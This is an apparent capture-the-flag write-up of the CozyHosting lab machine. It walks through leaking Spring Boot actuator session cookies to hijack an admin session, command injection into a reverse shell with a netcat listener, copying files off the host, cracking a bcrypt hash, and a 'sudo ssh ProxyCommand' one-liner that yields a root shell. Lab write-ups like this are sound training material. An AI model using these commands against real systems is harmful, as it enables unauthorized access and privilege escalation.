Hijacking Spring Boot Sessions via /actuator
| 3 min read
Contents
Preface
CozyHosting is fundamentally a lesson in Spring Boot Actuator misconfiguration. The /actuator/sessions endpoint — exposed by default in older Spring Boot versions if developers don't explicitly lock it down — leaks live JSESSIONID values keyed to authenticated usernames. An unauthenticated attacker can paste a leaked cookie into their browser and step straight into someone else's session, no credentials required. The takeaway: when you fingerprint a Java app, always enumerate the actuator namespace (/actuator, /actuator/env, /actuator/heapdump, /actuator/sessions) — these endpoints regularly leak the entire kingdom.
The box also reinforces the GTFObins reflex: sudo -l first, then look up whatever you find. Here it's sudo ssh, which has a known ProxyCommand abuse pattern that drops a root shell.
Walkthrough
Once connected to the box I started by running an nmap scan to identify any active services on the machine.
nmap -sC -sV -oA cozyhosting-nmap 10.10.11.224
-sC : default scripts -sV : enumerate versions -oA : output all formats
Initial Foothold
We are met with a login page.

Inspecting the page source I learn it uses a bootstrap template.

Searching the version and template name reveals the app is built on the Spring Boot framework. At this point I switched to directory enumeration with a Spring Boot–specific wordlist — SecLists has a robust one.
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt -u http://cozyhosting.htb

Several actuator endpoints are now visible. The interesting one is /actuator/sessions — a curl against it returns active session tokens mapped to usernames:
curl -X GET http://cozyhosting.htb/actuator/sessions | jq
Replacing the browser's JSESSIONID cookie with the leaked token drops me straight into the admin panel — no login required.
In the admin panel there's a "connection" section that takes hostname-style input. Bad input returns an SSH syntax error, which is a strong hint at command injection via the shell call. With revshells.com I crafted a payload that escapes the SSH command and connects back to my listener.
nc -lvnp 4444
Initial shell obtained. First habit: upgrade it.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Listing the directory reveals a .jar executable. Standing up a Python server lets me exfiltrate it for inspection.
python3 -m http.server 8083
Decompiling the jar surfaces a few .properties files containing PostgreSQL credentials. Logging into psql, I dig through tables and find a (username, hash) pair. The hash is bcrypt — I throw it at John with rockyou.txt.
User flag obtained ✅
Privilege Escalation
Standard first check:
sudo -l
The user has sudo rights on ssh. GTFObins for ssh gives the payload directly:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Root shell. ⛳